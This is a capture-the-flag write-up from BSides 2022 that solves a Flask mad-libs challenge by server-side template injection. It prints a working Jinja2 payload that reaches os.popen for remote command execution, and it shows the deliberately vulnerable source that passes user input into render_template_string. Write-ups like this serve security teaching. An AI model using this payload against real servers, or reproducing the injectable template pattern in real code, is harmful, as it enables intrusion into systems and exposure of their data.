bsides2022 – Ninja 1
17 October 2022 – Written by Valentin Huber – in ctf, flask, injection, python, and web
Challenge
Part 1 of 3: tell me a secret
The provided website showed the following:
I just got back from a ___None___(adj1) party with EverSec.
Can you believe we got to eat __None___(adj2) pizza in ____None___(place)?!
Everyone got to choose their own toppings.
I made ___None___(topping1) and __None___(topping2) pizza, which is my favorite! How fun!
If that wasn't good enough already, ___None____(person) was there teaching exploits!
Background
Providing any of the keys in the HTTP query will fill them instead of None
. So requesting [URL]?adj1=foo
returns:
I just got back from a ___foo___(adj1) party with EverSec. […]
Both multiple underscores and None
indicates that python is at work here.
Solution
Requesting [URL]?adj1={{2*3}}
returns:
I just got back from a ___6___(adj1) party with EverSec. […]
So it seems like when we escape anything with two curly braces, we have python code execution. And with a bit more exploration, we can get to full code execution: [URL]?adj1={{request.application.__globals__.__builtins__.__import__('os').popen('[command]').read()}}
.
Let’s see what files we can access: [URL]?adj1={{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}}
returns ninja.py
.
Let’s get the contents of that file: [URL]?adj1={{request.application.__globals__.__builtins__.__import__('os').popen('cat ninja.py').read()}}
:
from flask import Flask, request, render_template_string
app = Flask(__name__)
app.secret_key = 'flag\{ultimate_jinja_storm3\}'
@app.route('/')
def index():
a = request.args.get('adj1') or None
b = request.args.get('adj2') or None
c = request.args.get('place') or None
d = request.args.get('topping1') or None
e = request.args.get('topping2') or None
f = request.args.get('person') or None
template = ''' <h1>Mad libs</h1><br><p>I just got back from a ___{a}___(adj1) party with EverSec. Can you believe we got to eat __{b}___(adj2) pizza in ____{c}___(place)?! Everyone got to choose their own toppings. I made ___{d}___(topping1) and __{e}___(topping2) pizza, which is my favorite! How fun! If that wasn't good enough already, ___{f}____(person) was there teaching exploits! </p> '''.format(a = a, b = b, c=c, d=d, e=e, f=f)
return render_template_string(template)
if __name__ == '__main__':
pp.run(host='0.0.0.0', port=8080)
This also explains the vulnerability: flask’s render_template_string
escapes code with two curly braces.
And we have our flag: flag\{ultimate_jinja_storm3\}